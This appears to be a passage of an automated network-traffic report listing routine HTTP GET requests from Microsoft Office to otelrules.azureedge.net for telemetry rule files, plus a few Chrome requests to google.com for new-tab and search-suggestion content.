Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCJDKzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCJDKzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
